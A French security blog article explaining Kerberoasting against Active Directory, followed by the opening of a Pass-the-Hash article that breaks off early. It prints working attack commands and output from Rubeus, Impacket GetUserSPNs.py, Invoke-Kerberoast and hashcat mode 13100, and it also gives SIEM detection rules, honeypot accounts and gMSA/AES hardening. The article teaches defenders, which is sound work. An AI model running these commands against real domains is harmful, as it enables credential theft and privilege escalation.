Les SPNs sont enregistrés comme attributs des comptes utilisateur ou ordinateur dans Active Directory. Lorsqu'un client souhaite accéder à un service, il demande un ticket de service (TGS) pour le SPN correspondant.

### Le Processus d'Authentification Kerberos pour les Services

Lors d'une demande de ticket de service standard :

1. **Le client demande un TGS** au KDC (Key Distribution Center) pour un SPN spécifique
2. **Le KDC vérifie** que le compte client dispose d'un TGT valide
3. **Le KDC génère un TGS** chiffré avec le hash NTLM du compte associé au SPN
4. **Le client reçoit le TGS** et peut l'utiliser pour s'authentifier auprès du service
5. **Le service déchiffre le TGS** avec son propre hash pour valider l'authentification

Le **point critique** : Le TGS est chiffré avec le hash du compte de service. Si l'attaquant peut obtenir ce TGS, il peut tenter de le craquer hors ligne pour récupérer le mot de passe en clair du compte de service.

### Définition du Kerberoasting

Le **Kerberoasting** est une technique d'attaque qui consiste à :

1. **Énumérer tous les comptes** avec des SPNs enregistrés dans le domaine
2. **Demander des TGS** pour ces SPNs (opération légitime ne nécessitant aucun privilège particulier)
3. **Extraire les tickets TGS** de la mémoire ou les capturer directement
4. **Convertir les tickets** dans un format craquable (hashcat, John the Ripper)
5. **Craquer les hashes hors ligne** pour récupérer les mots de passe en clair
6. **Utiliser les credentials** pour l'escalade de privilèges ou le mouvement latéral

### Types de Comptes Vulnérables

Plusieurs types de comptes sont particulièrement ciblés par le Kerberoasting :

- **Comptes de service SQL Server** : Souvent avec privilèges sysadmin et mots de passe faibles
- **Comptes IIS/Web** : Services HTTP avec SPNs
- **Comptes Exchange** : Privilèges étendus dans l'organisation
- **Comptes personnalisés** : Créés manuellement pour des applications métier
- **Comptes historiques** : Anciens comptes jamais supprimés avec mots de passe obsolètes

#### Point de vigilance : Comptes avec privileges Domain Admin

De nombreux environnements AD contiennent des comptes de service membres du groupe Domain Admins avec des SPNs. Un seul de ces comptes compromis via Kerberoasting peut entraîner une compromission totale du domaine en quelques heures.

## Comment Fonctionne l'Attaque Kerberoasting ?

Voyons maintenant en détail les étapes techniques d'une attaque Kerberoasting et les outils utilisés par les attaquants.

### Phase 1 : Énumération des Comptes avec SPN

La première étape consiste à identifier tous les comptes utilisateur disposant de Service Principal Names dans le domaine. Cette opération est totalement légitime et ne génère aucun événement de sécurité suspect.

#### Méthode 1 : Utilisation de PowerShell natif

```
# Énumération des SPNs avec Get-ADUser
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName,
PasswordLastSet, LastLogonDate | Select-Object Name, ServicePrincipalName,
PasswordLastSet, LastLogonDate

# Alternative avec requête LDAP
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
$searcher.FindAll()
```

### Méthode 2 : Rubeus (outil C# offensif)

```
# Rubeus pour énumérer les SPNs
Rubeus.exe kerberoast /stats


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Kerberoasting

[*] Listing statistics about target users

  SamAccountName         : svc_sql
  ServicePrincipalName   : MSSQLSvc/SQL01.contoso.com:1433
  PasswordLastSet        : 11/15/2020 10:23:45 AM
  MemberOf               : Domain Admins

  SamAccountName         : svc_iis
  ServicePrincipalName   : HTTP/webapp.contoso.com
  PasswordLastSet        : 03/12/2019 14:56:12 PM
```

### Méthode 3 : Invoke-Kerberoast (PowerView)

```
# PowerView / PowerSploit
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | fl
```

### Phase 2 : Demande et Extraction des Tickets TGS

Une fois les comptes avec SPN identifiés, l'attaquant demande des tickets TGS pour ces SPNs. Cette opération Kerberos standard ne nécessite aucun privilège spécial.

### Extraction avec Rubeus

```
# Demander des TGS pour tous les comptes avec SPN
Rubeus.exe kerberoast /outfile:tickets.txt /format:hashcat

[*] Action: Kerberoasting

[*] Target Domain          : CONTOSO.COM

[*] Searching path 'LDAP://DC01.contoso.com/DC=contoso,DC=com' for
'(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!
(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 2

[*] Hash written to C:\tickets.txt

# Contenu du fichier tickets.txt (format Hashcat)
$krb5tgs$23$*svc_sql$CONTOSO.COM$MSSQLSvc/SQL01.contoso.com:1433*$7A3F...B2E1
```

### Extraction avec Impacket (Linux)

```
# Impacket GetUserSPNs.py
GetUserSPNs.py -request -dc-ip 10.10.10.10 contoso.com/user:password

ServicePrincipalName               Name
MemberOf                                              PasswordLastSet
---------------------------------  -------
-------------------------------------------------  -------------------
MSSQLSvc/SQL01.contoso.com:1433      svc_sql  CN=Domain
Admins,CN=Users,DC=contoso,DC=com          2020-11-15 10:23:45
HTTP/webapp.contoso.com              svc_iis
CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=com            2019-03-12 14:56:12

$krb5tgs$23$*svc_sql$CONTOSO.COM$MSSQLSvc/SQL01.contoso.com:1433*$7a3f...
```

### Extraction avec PowerShell (Invoke-Kerberoast)

```
Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File -Encoding ASCII kerb-
hashes.txt
```

### Phase 3 : Craquage Hors Ligne des Tickets

Les tickets extraits peuvent maintenant être craqués hors ligne avec des outils comme **Hashcat** ou **John the Ripper**. Cette opération est invisible pour les défenseurs car elle s'effectue sur l'infrastructure de l'attaquant.

### Craquage avec Hashcat

```
# Craquage avec dictionnaire
hashcat -m 13100 -a 0 tickets.txt /usr/share/wordlists/rockyou.txt --force

# Craquage avec règles avancées
hashcat -m 13100 -a 0 tickets.txt wordlist.txt -r rules/best64.rule --force

# Craquage par force brute (8 caractères)
hashcat -m 13100 -a 3 tickets.txt ?a?a?a?a?a?a?a?a --force

# Mode 13100 = Kerberos 5 TGS-REP etype 23 (RC4-HMAC)
```

### Performance de Craquage

Avec du matériel moderne (GPU RTX 4090), les vitesses de craquage atteignent :

- **RC4-HMAC (etype 23)** : ~50 GH/s (50 milliards de tentatives par seconde)
- **AES128 (etype 17)** : ~1.5 GH/s
- **AES256 (etype 18)** : ~800 MH/s

Temps de craquage estimés pour différents types de mots de passe :

| Type de mot de passe | Exemple | Temps de craquage (RC4) |
|---|---|---|
| Dictionnaire commun | `Password123` | Quelques secondes |
| 8 caractères (lettres+chiffres) | `Sql2019!` | 2-6 heures |
| 12 caractères (complexe) | `MyS3rv!c3P@ss` | 3-30 jours |
| 25+ caractères (aléatoire) | `gMSA auto-generated` | Non craquable (plusieurs siècles) |

### Phase 4 : Exploitation des Credentials Récupérés

Une fois le mot de passe craqué, l'attaquant peut :

- **S'authentifier avec le compte de service** : Accès légitime avec les privilèges du compte
- **Mouvement latéral** : Si le compte dispose de privilèges sur d'autres systèmes
- **Escalade vers Domain Admin** : Si le compte de service est membre de DA
- **Accès aux bases de données** : Comptes SQL Server avec accès sysadmin
- **Persistance** : Création de backdoors avec les privilèges obtenus

Pour comprendre comment les attaquants progressent après cette compromission initiale, consultez notre article sur le Golden Ticket.

#### Détection quasi-impossible du craquage offline

La phase de craquage s'effectue entièrement hors ligne sur l'infrastructure de l'attaquant. Aucun événement n'est généré sur le réseau ou les contrôleurs de domaine pendant cette opération. La seule fenêtre de détection se situe lors de la demande initiale des tickets TGS (Event ID 4769).

## Méthodes de Détection du Kerberoasting

Bien que le Kerberoasting exploite des fonctionnalités légitimes de Kerberos, plusieurs anomalies peuvent être détectées par une surveillance appropriée.

#### Event ID 4769 : Demande de Ticket de Service Kerberos

L'événement Windows **Event ID 4769** est généré sur les contrôleurs de domaine à chaque demande de ticket de service (TGS). Cet événement constitue la principale opportunité de détection du Kerberoasting.

#### Anatomie de l'Event ID 4769

```
Event ID: 4769
Log: Security
Source: Microsoft-Windows-Security-Auditing
Level: Information

Account Name: user@CONTOSO.COM
Account Domain: CONTOSO.COM
Service Name: MSSQLSvc/SQL01.contoso.com
Service ID: CONTOSO\svc_sql
Ticket Options: 0x40810000
Ticket Encryption Type: 0x17 (RC4-HMAC)
Client Address: 10.10.10.50
Failure Code: 0x0 (Success)
```

#### Indicateurs Suspects dans Event ID 4769

Plusieurs caractéristiques peuvent indiquer une activité Kerberoasting :

- **Volume anormal de requêtes** : Un compte demandant des TGS pour de nombreux SPNs en peu de temps
- **Chiffrement RC4 (0x17)** : Les outils Kerberoasting privilégient RC4 car plus facile à craquer
- **Demandes pour des SPNs inhabituels** : Un utilisateur normal demandant des tickets pour des services qu'il n'utilise jamais
- **Absence d'utilisation du ticket** : Ticket demandé mais jamais utilisé pour accéder au service

- **Patterns temporels** : Requêtes massives à des heures inhabituelles (nuit, week-end)

### Règles de Détection SIEM

#### Règle 1 : Détection de demandes massives de TGS

```
# Splunk SPL
index=windows EventCode=4769 Ticket_Encryption_Type=0x17
| bucket _time span=5m
| stats dc(Service_Name) as unique_services by _time, Account_Name
| where unique_services > 10
| table _time, Account_Name, unique_services

# Détecte un compte demandant plus de 10 services différents en 5 minutes
```

#### Règle 2 : Détection de chiffrement RC4 sur comptes sensibles

```
# Microsoft Sentinel KQL
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName has_any ("Domain Admins", "Enterprise Admins", "SQL", "Admin")
| summarize count() by AccountName, ServiceName, IpAddress
| where count_ > 5
```

#### Règle 3 : Corrélation TGS sans utilisation ultérieure

```
# Détection de tickets demandés mais jamais utilisés
EventCode=4769 (TGS request)
| append [search EventCode=4624 LogonType=3]
| transaction Account_Name maxspan=10m
| where eventcount=1
| table _time, Account_Name, Service_Name, Client_Address
```

### Microsoft Defender for Identity (MDI)

**Microsoft Defender for Identity** (anciennement Azure ATP) offre une détection native du Kerberoasting via :

- **Analyse comportementale** : Détection d'anomalies dans les patterns de demande TGS
- **Alertes de suspicion de Kerberoasting** : Alert ID 2412 - "Suspicious Kerberos Service Ticket Request"
- **Scoring de sévérité** : Priorisation automatique basée sur les privilèges du compte ciblé
- **Timeline de l'attaque** : Visualisation des étapes de l'attaque dans la console MDI
- **Intégration Microsoft Sentinel** : Corrélation avec d'autres signaux de compromission

### Honeypot Service Accounts

Une technique de détection proactive consiste à créer des **comptes de service leurres** :

1. Créer un compte utilisateur avec un nom attractif (ex: `svc_backup_admin`)
2. Lui attribuer un SPN fictif
3. Le rendre membre de groupes privilégiés (Domain Admins) pour l'aspect attractif
4. Configurer une alerte sur toute demande TGS pour ce SPN
5. Ne jamais utiliser ce compte légitimement

```
# Création d'un honeypot service account
New-ADUser -Name "svc_backup_admin" -AccountPassword (ConvertTo-SecureString
"ComplexP@ssw0rd!123" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "svc_backup_admin" -ServicePrincipalNames @{Add="HTTP/
backup.contoso.com"}
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup_admin"

# Configurer alerte SIEM sur Event ID 4769 avec ServiceName="HTTP/backup.contoso.com"
```

Toute demande de TGS pour ce compte constitue un **indicateur de compromission certain**.

### Audit Régulier des Comptes avec SPN

Un audit régulier permet d'identifier et de corriger les vulnérabilités avant qu'elles ne soient exploitées :

```
# Script PowerShell d'audit des comptes vulnérables
$results = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName, PasswordLastSet, MemberOf, Enabled |
    Select-Object Name,
                  @{N='SPNs';E={$_.ServicePrincipalName -join '; '}},
                  PasswordLastSet,
                  @{N='PasswordAge';E={(New-TimeSpan -Start $_.PasswordLastSet).Days}},
                  @{N='IsPrivileged';E={$_.MemberOf -match 'Domain Admins|Enterprise
Admins|Schema Admins'}},
                  Enabled

# Filtrer les comptes à risque
$riskyAccounts = $results | Where-Object {
    $_.PasswordAge -gt 365 -or
    $_.IsPrivileged -eq $true
}

$riskyAccounts | Export-Csv -Path "KerberoastingRisk_$(Get-Date -Format 'yyyyMMdd').csv"
-NoTypeInformation
```

## Contremesures et Prévention

La défense contre le Kerberoasting repose sur plusieurs piliers complémentaires : durcissement des mots de passe, migration vers gMSA, et renforcement du chiffrement Kerberos.

### 1. Group Managed Service Accounts (gMSA)

Les **gMSA** sont la contremesure la plus efficace contre le Kerberoasting. Ces comptes utilisent des mots de passe de 240 caractères aléatoires, automatiquement rotés tous les 30 jours par Active Directory, rendant le craquage impossible.

#### Caractéristiques des gMSA

- **Mots de passe complexes auto-générés** : 240 caractères aléatoires
- **Rotation automatique** : Tous les 30 jours sans intervention humaine
- **Gestion centralisée** : Active Directory gère les credentials
- **Pas de gestion manuelle** : Élimine le risque de mots de passe faibles
- **Support natif Windows** : Services, IIS, SQL Server, scheduled tasks

#### Migration vers gMSA

```
# Prérequis : Active Directory Schema >= Windows Server 2012

# 1. Créer la KDS Root Key (one-time, domaine)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# 2. Créer un gMSA
New-ADServiceAccount -Name "gMSA-SQL01" `
    -DNSHostName "SQL01.contoso.com" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group" `
    -ServicePrincipalNames "MSSQLSvc/SQL01.contoso.com:1433"

# 3. Installer le gMSA sur le serveur cible
Install-ADServiceAccount -Identity "gMSA-SQL01"

# 4. Tester la récupération du mot de passe
Test-ADServiceAccount -Identity "gMSA-SQL01"

# 5. Configurer le service pour utiliser le gMSA
# Format du compte : CONTOSO\gMSA-SQL01$
# Mot de passe : laisser vide (géré par AD)
```

#### Services Supportant les gMSA

- **SQL Server** : Versions 2012 et ultérieures
- **IIS Application Pools** : Windows Server 2012+

- **Windows Services** : Tous les services Windows natifs
- **Scheduled Tasks** : Windows Server 2012+
- **Exchange** : Exchange 2013 et ultérieures (partiel)

#### Roadmap de Migration gMSA

1. **Phase 1 : Inventaire** - Lister tous les comptes de service avec SPN
2. **Phase 2 : Priorisation** - Commencer par les comptes Domain Admin et services critiques
3. **Phase 3 : Tests** - Déploiement gMSA en environnement de test
4. **Phase 4 : Migration progressive** - Migration service par service avec validation
5. **Phase 5 : Surveillance** - Monitoring des comptes restants non-gMSA

### 2. Mots de Passe Longs et Complexes (Comptes Non-gMSA)

Pour les comptes qui ne peuvent pas être migrés vers gMSA (applications legacy), appliquer une politique stricte :

- **Longueur minimale** : 25 caractères minimum (idéalement 30+)
- **Complexité** : Majuscules, minuscules, chiffres, symboles
- **Randomisation** : Générés par un gestionnaire de mots de passe
- **Rotation régulière** : Tous les 6 mois maximum
- **Pas de mots du dictionnaire** : Éviter les patterns craquables

```
# Génération de mot de passe fort pour compte de service
$password = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 |
ForEach-Object {[char]$_})

# Définir le mot de passe sur le compte
Set-ADAccountPassword -Identity "svc_legacy_app" -Reset -NewPassword (ConvertTo-
SecureString -AsPlainText $password -Force)

# Configurer pour ne jamais expirer (géré manuellement)
Set-ADUser -Identity "svc_legacy_app" -PasswordNeverExpires $true
```

### 3. Forcer le Chiffrement AES pour Kerberos

Le chiffrement **AES** (AES128-SHA1 ou AES256-SHA1) est significativement plus résistant au craquage que RC4-HMAC. Forcer AES rend le Kerberoasting beaucoup plus difficile.

### Activation d'AES via GPO

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Local Policies > Security Options

"Network security: Configure encryption types allowed for Kerberos"

Décocher :
- RC4_HMAC_MD5 (désactiver)

Cocher :
- AES128_HMAC_SHA1
- AES256_HMAC_SHA1
- Future encryption types
```

### Activation d'AES par compte

```
# Activer AES256 sur un compte spécifique
Set-ADUser -Identity "svc_sql" -KerberosEncryptionType "AES128, AES256"

# Vérifier les types de chiffrement supportés
Get-ADUser -Identity "svc_sql" -Properties msDS-SupportedEncryptionTypes
```

### Impact de la désactivation de RC4

La désactivation de RC4 peut entraîner des problèmes de compatibilité :

- Systèmes anciens (Windows Server 2003, XP) ne supportant pas AES
- Certaines applications tierces codées en dur pour RC4
- Trusts avec domaines externes utilisant RC4

Testez en profondeur avant le déploiement en production. Utilisez Event ID 4768/4769 pour identifier les systèmes utilisant encore RC4.

## 4. Restriction des Permissions des Comptes de Service

Appliquer le **principe du moindre privilège** :

- **Jamais Domain Admin** : Les comptes de service ne doivent jamais être membres de DA/EA/SA
- **Permissions minimales** : Uniquement les droits nécessaires au service
- **Comptes dédiés** : Un compte de service par service (pas de réutilisation)
- **Isolation par tier** : Respecter le modèle d'administration par niveaux
- **Deny interactive logon** : Empêcher la connexion interactive

```
# Audit des comptes de service privilégiés
$privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins",
"Administrators")

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties MemberOf |
    Where-Object {
        $_.MemberOf | Where-Object { $privilegedGroups -contains ($_ -replace '^CN=([^,]
+),.+$','$1') }
    } |
    Select-Object Name, @{N='PrivilegedGroup';E={$_.MemberOf -replace '^CN=([^,]+),.+
$','$1'}}

# Retirer les comptes de service des groupes privilégiés
Remove-ADGroupMember -Identity "Domain Admins" -Members "svc_sql" -Confirm:$false
```

#### 5. Monitoring et Alerting Continu

Déployer une stratégie de surveillance continue :

- **SIEM avec règles Kerberoasting** : Alertes sur patterns suspects Event ID 4769
- **Microsoft Defender for Identity** : Détection comportementale native
- **Tableaux de bord dédiés** : Visualisation des demandes TGS en temps réel
- **Alertes prioritaires** : Notification immédiate pour comptes critiques
- **Métriques historiques** : Baseline de comportement normal pour détecter les anomalies

## Remédiation après Compromission Kerberoasting

Si vous détectez ou suspectez une activité Kerberoasting dans votre environnement, une réponse rapide et structurée est essentielle.

#### Phase 1 : Identification et Analyse

**Objectif** : Déterminer l'étendue de la compromission et identifier les comptes affectés.

1. **Analyser les logs Event ID 4769** : Identifier les comptes ayant fait des demandes TGS anormales

```
# PowerShell pour analyser les Event ID 4769 suspects
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 10000 |
    Where-Object { $_.Properties[8].Value -eq '0x17' } |  # RC4 encryption
    Group-Object -Property { $_.Properties[0].Value } |    # Account Name
    Where-Object { $_.Count -gt 10 } |                     # Plus de 10 TGS
    Select-Object Name, Count | Sort-Object Count -Descending
```

2. **Identifier les comptes de service ciblés** : Lister tous les SPNs pour lesquels des TGS ont été demandés
3. **Évaluer la criticité** : Prioriser selon les privilèges des comptes (Domain Admin = critique)
4. **Vérifier l'utilisation légitime** : Corréler avec les authentifications réelles (Event ID 4624)

### Phase 2 : Containment (Confinement)

**Objectif** : Limiter la capacité de l'attaquant à exploiter les credentials compromis.

1. **Réinitialisation immédiate des mots de passe** : Pour tous les comptes de service ciblés

```
# Réinitialisation de masse avec mots de passe aléatoires forts
$targetedAccounts = @("svc_sql", "svc_iis", "svc_exchange")

foreach ($account in $targetedAccounts) {
    $newPassword = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random
-Count 32 | ForEach-Object {[char]$_})
    Set-ADAccountPassword -Identity $account -Reset -NewPassword (ConvertTo-
SecureString -AsPlainText $newPassword -Force)

    # Stocker le mot de passe dans un gestionnaire de mots de passe d'entreprise
    Write-Host "Account: $account | New Password: $newPassword" -ForegroundColor
Green
}
```

2. **Désactivation temporaire des comptes suspects** : Si l'impact métier est acceptable

```
Disable-ADAccount -Identity "svc_legacy_app"
```

3. **Révocation des tickets Kerberos** : Forcer la réémission de nouveaux tickets

```
# Purger les tickets du DC (nécessite redémarrage du service KDC)
# Attention : Impact sur tous les tickets du domaine
Restart-Service -Name "KDC" -Force
```

4. **Bloquer le compte attaquant** : Si identifié avec certitude

### Phase 3 : Eradication

**Objectif** : Éliminer la vulnérabilité et renforcer la sécurité.

1. **Migration vers gMSA** : Pour tous les comptes de service compatibles

```
# Migration d'un compte de service vers gMSA
# 1. Créer le gMSA
New-ADServiceAccount -Name "gMSA-SQL01" -DNSHostName "SQL01.contoso.com"
-PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group"
-ServicePrincipalNames "MSSQLSvc/SQL01.contoso.com:1433"

# 2. Sur le serveur SQL, installer le gMSA
Install-ADServiceAccount -Identity "gMSA-SQL01"

# 3. Reconfigurer le service SQL Server pour utiliser CONTOSO\gMSA-SQL01$

# 4. Désactiver l'ancien compte
Disable-ADAccount -Identity "svc_sql"
```

2. **Renforcement des mots de passe non-migrables** : Passer à 30+ caractères
3. **Activation du chiffrement AES** : Forcer AES via GPO
4. **Révision des permissions** : Retirer les privilèges excessifs
5. **Suppression des comptes obsolètes** : Nettoyer les comptes de service non utilisés

### Phase 4 : Recovery et Surveillance Renforcée

**Objectif** : Restaurer les opérations normales et détecter toute activité résiduelle.

1. **Validation du fonctionnement des services** : Vérifier que les services redémarrent correctement avec les nouveaux credentials
2. **Déploiement de honeypots** : Créer des comptes leurres avec SPN pour détecter de futures tentatives
3. **Surveillance accrue pendant 90 jours** : Monitoring intensif des Event ID 4769
4. **Audit forensique** : Déterminer le vecteur d'intrusion initial
   - Comment l'attaquant a-t-il obtenu le premier accès ?
   - Quels autres systèmes ont été compromis ?
   - Y a-t-il des backdoors persistants ?

### Checklist de Remédiation Kerberoasting

- Analyse des logs Event ID 4769 pour identifier les comptes ciblés
- Réinitialisation immédiate des mots de passe de tous les comptes de service ciblés
- Migration vers gMSA pour comptes compatibles (priorité : comptes privilégiés)
- Renforcement mots de passe (30+ caractères) pour comptes non-migrables
- Activation chiffrement AES Kerberos (désactivation RC4)
- Révision et suppression privilèges excessifs (retrait de Domain Admins)
- Désactivation/suppression comptes de service obsolètes

- Déploiement honeypot service accounts
- Configuration alertes SIEM pour Event ID 4769 (patterns suspects)
- Déploiement Microsoft Defender for Identity si pas déjà en place
- Audit forensique pour identifier vecteur initial et backdoors
- Documentation de l'incident et leçons apprises

### Quand Faire Appel à un Expert Externe ?

Faire appel à un cabinet spécialisé en réponse à incident AD est recommandé dans les cas suivants :

- **Compromission de comptes Domain Admin** : Risque de compromission totale du domaine
- **Grande échelle** : Nombreux comptes ciblés simultanément
- **Manque de visibilité** : Logs insuffisants pour déterminer l'étendue
- **Expertise technique limitée** : Manque d'expérience avec gMSA ou investigations forensiques
- **Conformité réglementaire** : Secteurs nécessitant un rapport d'incident certifié (santé, finance)
- **Suspicion d'APT** : Indicateurs d'une attaque sophistiquée et persistante

Nos services de réponse à incident Active Directory incluent investigation forensique, remédiation guidée, et durcissement post-incident.

## Conclusion

L'attaque **Kerberoasting** demeure en 2025 l'une des techniques d'exploitation Active Directory les plus répandues et les plus efficaces. Sa simplicité d'exécution - ne nécessitant qu'un compte utilisateur standard - combinée à sa discrétion et à l'impossibilité de détecter le craquage hors ligne, en fait un vecteur d'attaque privilégié pour les acteurs malveillants de tous niveaux de sophistication.

La prévalence de mots de passe faibles sur les comptes de service, l'utilisation persistante de RC4-HMAC au lieu d'AES, et l'attribution fréquente de privilèges Domain Admin aux comptes de service créent un terreau fertile pour cette attaque. Nos audits révèlent régulièrement que plus de 80% des environnements Active Directory contiennent au moins un compte de service vulnérable au Kerberoasting avec des privilèges élevés.

Cependant, des défenses robustes existent et doivent être déployées de manière systématique :

- **Les Group Managed Service Accounts (gMSA)** constituent la protection la plus efficace, éliminant le risque de craquage par l'utilisation de mots de passe de 240 caractères auto-rotés
- **Le chiffrement AES forcé** augmente drastiquement la difficulté de craquage des tickets
- **Le principe du moindre privilège** limite l'impact d'une compromission réussie
- **La surveillance Event ID 4769** et les solutions comme Microsoft Defender for Identity permettent la détection précoce

La migration vers gMSA doit être une priorité stratégique pour toute organisation sérieuse concernant la sécurité de son Active Directory. Bien que cette migration nécessite une planification et des tests approfondis, l'élimination quasi-totale du risque de Kerberoasting justifie pleinement l'investissement.

### Prochaines Étapes Recommandées

1. **Audit immédiat** : Identifier tous les comptes avec SPN dans votre domaine avec notre guide des outils d'audit AD
2. **Priorisation** : Classer les comptes par criticité (privilèges, sensibilité des données)
3. **Plan de migration gMSA** : Établir une roadmap de migration avec tests en environnement de dev/test
4. **Renforcement immédiat** : Pour les comptes non migrables, forcer des mots de passe de 30+ caractères
5. **Déploiement de la détection** : Configurer SIEM et Microsoft Defender for Identity
6. **Formation des équipes** : Sensibiliser les équipes IT et SOC à cette menace

### Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- AS-REP Roasting : Exploitation des Comptes sans Pré-authentification
- Golden Ticket : Persistance Ultime dans Active Directory
- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

Article suivant : AS-REP Roasting →

Fiche 4.13

# Tampering NTFS / MFT : Attaque et Défense Active Directory

## Table des matières

Fiche 4.14

# Pass-the-Hash (PtH) : Mouvement Latéral sans Mot de Passe dans Active Directory

Attaques Active Directory

*Publié le 16 octobre 2025 | Temps de lecture : 28 minutes | Par Ayi NEDJIMI*

L'attaque **Pass-the-Hash (PtH)** est une technique de mouvement latéral parmi les plus anciennes et les plus redoutables dans les environnements Active Directory. En réutilisant directement les hash NTLM volés en mémoire, sans jamais avoir besoin du mot de passe en clair, les attaquants peuvent s'authentifier sur des systèmes distants et étendre leur compromission. Malgré son ancienneté, cette technique demeure extrêmement efficace en 2025 et constitue un pilier des campagnes APT et ransomware.

## Sommaire



## Introduction : Pourquoi Pass-the-Hash est-il Toujours Redoutable en 2025 ?

Découverte publiquement dans les années 1990 et popularisée dans le contexte Windows au début des années 2000, l'attaque **Pass-the-Hash** exploite une caractéristique fondamentale du protocole d'authentification **NTLM** : le fait que le hash du mot de passe soit suffisant pour s'authentifier, sans jamais avoir besoin du mot de passe en clair.

Contrairement aux attaques nécessitant le cracking de hash (opération potentiellement longue et incertaine), le Pass-the-Hash permet une exploitation **immédiate** des credentials volés. Cette instantanéité, combinée à la prévalence de NTLM dans de nombreux environnements Active Directory legacy, en fait une technique de choix pour :

- **Le mouvement latéral** : Rebondir de machine en machine pour atteindre des cibles de haute valeur
- **L'escalade de privilèges** : Réutiliser les hash de comptes administrateurs présents en mémoire
- **La persistance** : Maintenir l'accès même après rotation des mots de passe (si les hash restent identiques)
- **L'exfiltration de données** : Accéder aux partages réseau et bases de données

> ***Statistique clé :*** *Selon le rapport 2024 de CrowdStrike sur les intrusions, Pass-the-Hash est utilisé dans 76% des cas de mouvement latéral observés dans les environnements Active Directory compromis. La technique demeure dans le Top 3 des tactiques MITRE ATT&CK les plus fréquemment détectées (T1550.002).*

Ce qui rend Pass-the-Hash particulièrement dangereux, c'est sa **simplicité d'exécution** et la **disponibilité d'outils automatisés**. Un attaquant avec un accès initial bas-privilège sur une machine peut, en quelques minutes, extraire des hash et commencer à pivoter latéralement s'il trouve des credentials administrateurs en cache.

## Qu'est-ce que Pass-the-Hash ?

Pour comprendre Pass-the-Hash en profondeur, il faut d'abord saisir les mécanismes d'authentification NTLM et comment Windows stocke les credentials en mémoire.

### Le protocole NTLM et ses faiblesses intrinsèques

**NTLM (NT LAN Manager)** est un protocole d'authentification challenge-response développé par Microsoft dans les années 1990. Bien que largement remplacé par Kerberos dans les environnements Active Directory modernes, NTLM reste activé par défaut et fréquemment utilisé pour :

- L'authentification sur des systèmes non-joints au domaine (workgroups)
- L'accès par adresse IP au lieu de FQDN (Kerberos nécessite des noms DNS)
- Les scénarios de fallback lorsque Kerberos échoue
- Les anciennes applications qui ne supportent pas Kerberos
- L'authentification sur des systèmes hérités (Windows XP, 2003, etc.)

Le processus d'authentification NTLM se déroule en trois étapes (simplifié) :

1. **Negotiation** : Le client demande l'accès au serveur
2. **Challenge** : Le serveur envoie un challenge (nombre aléatoire) au client
3. **Response** : Le client chiffre le challenge avec le **hash NTLM de son mot de passe** et renvoie la réponse
4. **Validation** : Le serveur (ou le DC) vérifie que la réponse correspond en utilisant le hash stocké

La faiblesse critique est à l'étape 3 : **le hash NTLM lui-même est utilisé comme clé de chiffrement**. Cela signifie qu'un attaquant en possession du hash peut répondre aux challenges sans connaître le mot de passe original.

### Stockage des Credentials en Mémoire (LSASS)

Windows stocke les credentials des utilisateurs connectés dans le processus **LSASS.exe (Local Security Authority Subsystem Service)** pour permettre le Single Sign-On (SSO). Lorsqu'un utilisateur se connecte, les éléments suivants peuvent être présents en mémoire :

- **Hash NTLM** : Hash du mot de passe (MD4 hash, faible cryptographiquement)
- **Mot de passe en clair** : Sur Windows 8.1/2012 R2 et antérieurs avec WDigest activé
- **Tickets Kerberos** : TGT et TGS en cache (voir Pass-the-Ticket)
- **Hash LM** : Sur les très anciens systèmes (obsolète)

Un attaquant avec des **privilèges SYSTEM ou administrateur local** peut dumper le contenu de LSASS et extraire ces credentials.

### Définition formelle de Pass-the-Hash

**Pass-the-Hash** est une technique d'attaque qui consiste à :

1. Extraire le hash NTLM d'un compte depuis la mémoire LSASS ou d'autres sources (SAM, NTDS.dit)
2. Réutiliser ce hash pour s'authentifier via NTLM sur d'autres systèmes où le compte possède des privilèges
3. Obtenir l'accès sans jamais connaître ni cracker le mot de passe en clair

Cette technique est référencée dans MITRE ATT&CK sous l'identifiant **T1550.002 - Use Alternate Authentication Material: Pass the Hash**.

#### Important : Pass-the-Hash ne fonctionne qu'avec NTLM

Pass-the-Hash classique ne fonctionne **qu'avec l'authentification NTLM**. Elle ne fonctionne pas avec Kerberos. Cependant, une variante appelée **Overpass-the-Hash** (ou Pass-the-Key) permet d'utiliser un hash NTLM pour demander un TGT Kerberos. Pour les attaques ciblant spécifiquement Kerberos, consultez notre article Pass-the-Ticket.

## Comment Fonctionne l'Attaque Pass-the-Hash ?

L'exécution d'une attaque Pass-the-Hash se décompose en plusieurs phases techniques distinctes.

### Phase 1 : Compromission Initiale et Élévation Locale

